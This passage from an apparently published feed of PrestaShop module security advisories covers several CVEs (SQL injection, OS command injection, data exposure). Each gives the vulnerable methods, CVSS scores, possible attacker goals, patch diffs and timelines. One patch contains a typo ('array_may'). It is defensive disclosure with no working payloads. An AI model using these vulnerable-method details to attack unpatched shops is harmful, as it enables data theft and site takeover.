  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-01-12</td>
      <td>Issue discovered during a code review by <a href="https://www.realdev.fr">realdev</a> and <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2024-01-12</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-01-12</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-03-24</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-04-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-04-25</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/promotions-cadeaux/52163-cadeaux-produits-gratuits.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-33268">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;realdev.fr&quot;, &quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Free Gifts Products” (mdgiftproduct) up to version 1.4.1 from Digincube for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-33276] Improper neutralization of SQL parameter in FME Modules - Pre-Order module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/04/25/preorderandnotification.html" rel="alternate" type="text/html" title="[CVE-2024-33276] Improper neutralization of SQL parameter in FME Modules - Pre-Order module for PrestaShop" /><published>2024-04-25T00:00:00+00:00</published><updated>2024-04-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/04/25/preorderandnotification</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/04/25/preorderandnotification.html"><![CDATA[<p>In the module “Pre-Order” (preorderandnotification) up to version 3.1.1 from FME Modules for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33276">CVE-2024-33276</a></li>
  <li><strong>Published at</strong>: 2024-04-25</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: preorderandnotification</li>
  <li><strong>Impacted release</strong>: &lt;= 3.1.0 (3.1.1 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: FME Modules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">PreorderModel::getIdProductAttributesByIdAttributes()</code> has sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-310">Patch from 3.1.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 3.1.0/modules/preorderandnotification/models/PreorderModel.php
</span><span class="gi">+++ 3.1.1/modules/preorderandnotification/models/PreorderModel.php
</span>        INNER JOIN `' . _DB_PREFIX_ . 'product_attribute` pa ON pa.id_product_attribute = pac.id_product_attribute
<span class="gd">-       WHERE id_product = ' . (int) $id_product . ' AND id_attribute IN (' . implode(',', $id_attributes) . ')
</span><span class="gi">+       WHERE id_product = ' . (int) $id_product . ' AND id_attribute IN (' . implode(',', array_may('intval', $id_attributes)) . ')
</span>        GROUP BY id_product_attribute
        HAVING COUNT(id_product) = ' . count($id_attributes));
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>preorderandnotification</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-01-17</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2024-01-17</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-01-17</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-03-15</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-04-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-04-25</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.fmemodules.com/en/prestashop-modules/61-pre-order-notification-waiting-list-prestashop.html">Author product page</a></li>
  <li><a href="https://addons.prestashop.com/en/registration-ordering-process/18819-pre-order.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-33276">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Pre-Order” (preorderandnotification) up to version 3.1.1 from FME Modules for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-28387] Exposure of Private Personal Information to an Unauthorized Actor in Axonaut module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/19/axonaut.html" rel="alternate" type="text/html" title="[CVE-2024-28387] Exposure of Private Personal Information to an Unauthorized Actor in Axonaut module for PrestaShop" /><published>2024-03-19T00:00:00+00:00</published><updated>2024-03-19T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/19/axonaut</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/19/axonaut.html"><![CDATA[<p>In the module “Axonaut” (axonaut) up to version 3.1.23 from Axonaut for PrestaShop, a guest can download personal information without restriction.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28387">CVE-2024-28387</a></li>
  <li><strong>Published at</strong>: 2024-03-19</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: axonaut</li>
  <li><strong>Impacted release</strong>: &lt;= 3.1.23 (3.2.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Axonaut</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control, a guest can access log file from the module which can lead to leak of personal information from ps_customer/ps_address tables such as email / full postal address</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>axonaut</strong>.</li>
  <li>You should restrict access to this URI pattern : modules/axonaut/ to a given whitelist</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-07-18</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-07-18</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-07-20</td>
      <td>Author confirms version scope and provide a patch</td>
    </tr>
    <tr>
      <td>2024-03-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-19</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://axonaut.com/integration/detail/prestashop">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-28387">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Axonaut” (axonaut) up to version 3.1.23 from Axonaut for PrestaShop, a guest can download personal information without restriction.]]></summary></entry><entry><title type="html">[CVE-2024-28386] Improper Neutralization of Special Elements used in an OS Command in the Home-Made.io - FastMag Sync module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/19/fastmagsync.html" rel="alternate" type="text/html" title="[CVE-2024-28386] Improper Neutralization of Special Elements used in an OS Command in the Home-Made.io - FastMag Sync module for PrestaShop" /><published>2024-03-19T00:00:00+00:00</published><updated>2024-03-19T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/19/fastmagsync</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/19/fastmagsync.html"><![CDATA[<p>In the module “Fast Mag Sync” (fastmagsync) up to version 1.7.52 from Home-Made.io for PrestaShop, a guest can inject into script an arbitrary executable script.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28386">CVE-2024-28386</a></li>
  <li><strong>Published at</strong>: 2024-03-19</li>
  <li><strong>Advisory source</strong>: Friends-of-presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: fastmagsync</li>
  <li><strong>Impact release</strong>: &lt;= 1.7.52 (1.7.53 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Home-Made.io</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/78.html">CWE-78</a></li>
  <li><strong>Severity</strong>: critical (10)</li>
</ul>

<h2 id="description">Description</h2>

<p>The function <code class="language-plaintext highlighter-rouge">getPhpBin()</code> do not properly sanitize output, an attacker can inject into this sequence an arbitrary executable script.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Control and hijack a PrestaShop</li>
</ul>

<h2 id="patch-from-1751">Patch from 1.7.51</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.7.51/modules/fastmagsync/crons/common.php
</span><span class="gi">+++ XXXXXX/modules/fastmagsync/crons/common.php
</span><span class="err">...</span>
        $get_version = explode('.', $hosting);
        if (count($get_version) &gt; 1) {
            array_shift($get_version);
<span class="gi">+           if(preg_match('/[\d]\.[\d]/i',implode('.', $get_version))){
</span><span class="gd">-           $php_version = implode('.', $get_version);
</span><span class="gi">+              $php_version = implode('.', $get_version);
+           }
</span>        }
        $php_bin = '/usr/local/php' . $php_version . '/bin/php';
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>fastmagsync</strong>.</li>
  <li>Activate OWASP 932’s and 933’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-28</td>
      <td>Issue discovered during a code review by <a href="https://touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-28</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-10-28</td>
      <td>Author confirms version scope and provide a patch</td>
    </tr>
    <tr>
      <td>2024-03-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-19</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.home-made.io/module-fastmag-sync-prestashop/">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-28386">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Fast Mag Sync” (fastmagsync) up to version 1.7.52 from Home-Made.io for PrestaShop, a guest can inject into script an arbitrary executable script.]]></summary></entry><entry><title type="html">[CVE-2024-28393] Improper neutralization of SQL parameter in Scalapay module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/19/scalapay.html" rel="alternate" type="text/html" title="[CVE-2024-28393] Improper neutralization of SQL parameter in Scalapay module for PrestaShop" /><published>2024-03-19T00:00:00+00:00</published><updated>2024-03-19T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/19/scalapay</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/19/scalapay.html"><![CDATA[<p>In the module “Scalapay” (scalapay) up to version 1.2.41 from Scalapay for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28393">CVE-2024-28393</a></li>
  <li><strong>Published at</strong>: 2024-03-19</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: scalapay</li>
  <li><strong>Impacted release</strong>: &lt;= 1.2.41 (1.2.42 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Scalapay</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">ScalapayReturnModuleFrontController::postProcess()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-1241">Patch from 1.2.41</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.2.41/modules/scalapay/controllers/front/return.php
</span><span class="gi">+++ 1.2.42/modules/scalapay/controllers/front/return.php
</span><span class="err">...</span>
            if ((!isset($cart) or !$cart-&gt;id) &amp;&amp; $cart_id_return != '') {
                // get customer id from cart table
<span class="gd">-               $query_scalapay_get = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS("SELECT id_customer FROM " . _DB_PREFIX_ . "cart WHERE id_cart='" . $cart_id_return . "'");
</span><span class="gi">+               $query_scalapay_get = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS("SELECT id_customer FROM " . _DB_PREFIX_ . "cart WHERE id_cart='" . pSQL($cart_id_return) . "'");
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>scalapay</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-19</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2022-09-19</td>
      <td>Friends of PrestaShop contact author to fix the vulnerability</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>PrestaShop Addons security Team confirms versions scope</td>
    </tr>
    <tr>
      <td>2024-03-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-19</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/paiement-en-plusieurs-fois/87023-scalapay-payez-en-3-fois-sans-frais.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-28393">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Scalapay” (scalapay) up to version 1.2.41 from Scalapay for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-28395] Improper neutralization of SQL parameter in Best-Kit - Pop-up / Schedule Popup / Splash window module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/14/bestkit_popup.html" rel="alternate" type="text/html" title="[CVE-2024-28395] Improper neutralization of SQL parameter in Best-Kit - Pop-up / Schedule Popup / Splash window module for PrestaShop" /><published>2024-03-14T00:00:00+00:00</published><updated>2024-03-14T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/14/bestkit_popup</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/14/bestkit_popup.html"><![CDATA[<p>In the module “Pop-up / Schedule Popup / Splash window” (bestkit_popup) up to version 1.7.2 (WARNING : all versions) from BestKit for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28395">CVE-2024-28395</a></li>
  <li><strong>Published at</strong>: 2024-03-14</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: bestkit_popup</li>
  <li><strong>Impacted release</strong>: &lt;= 1.7.2 (WARNING : all versions)</li>
  <li><strong>Product author</strong>: Best-Kit</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">bestkit_popup::prepareHook()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop Hook stappled on all pages and most attackers can conceal the attack during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<p><strong>WARNING</strong> : This module is no longer maintain so you should delete it.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-172">Patch from 1.7.2</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.7.2/modules/bestkit_popup/bestkit_popup.php
</span><span class="gi">+++ XXXXX/modules/bestkit_popup/bestkit_popup.php
</span><span class="err">...</span>
-       $current_url = Tools::strtolower($_SERVER['REQUEST_URI']);
<span class="gi">+       $current_url = pSQL(Tools::strtolower($_SERVER['REQUEST_URI']));
</span>        $join_custom_url = ' OR (pl.custom_url LIKE "'.$current_url.'" OR ';
<span class="err">...</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>bestkit_popup</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-21</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-21</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>PrestaShop Addons security Team confirm version scope</td>
    </tr>
    <tr>
      <td>2024-03-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-14</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/pop-up/20208-pop-up-schedule-popup-splash-window.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-28395">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Pop-up / Schedule Popup / Splash window” (bestkit_popup) up to version 1.7.2 (WARNING : all versions) from BestKit for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-28396] Exposure of Sensitive Information to an Unauthorized Actor in MyPrestaModules - Orders (CSV, Excel) Export PRO module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/14/ordersexport.html" rel="alternate" type="text/html" title="[CVE-2024-28396] Exposure of Sensitive Information to an Unauthorized Actor in MyPrestaModules - Orders (CSV, Excel) Export PRO module for PrestaShop" /><published>2024-03-14T00:00:00+00:00</published><updated>2024-03-14T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/14/ordersexport</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/14/ordersexport.html"><![CDATA[<p>In the module “Orders (CSV, Excel) Export PRO” (ordersexport) up to version 6.0.2 from MyPrestaModules for PrestaShop, a guest can download sensitive information without restriction.</p>

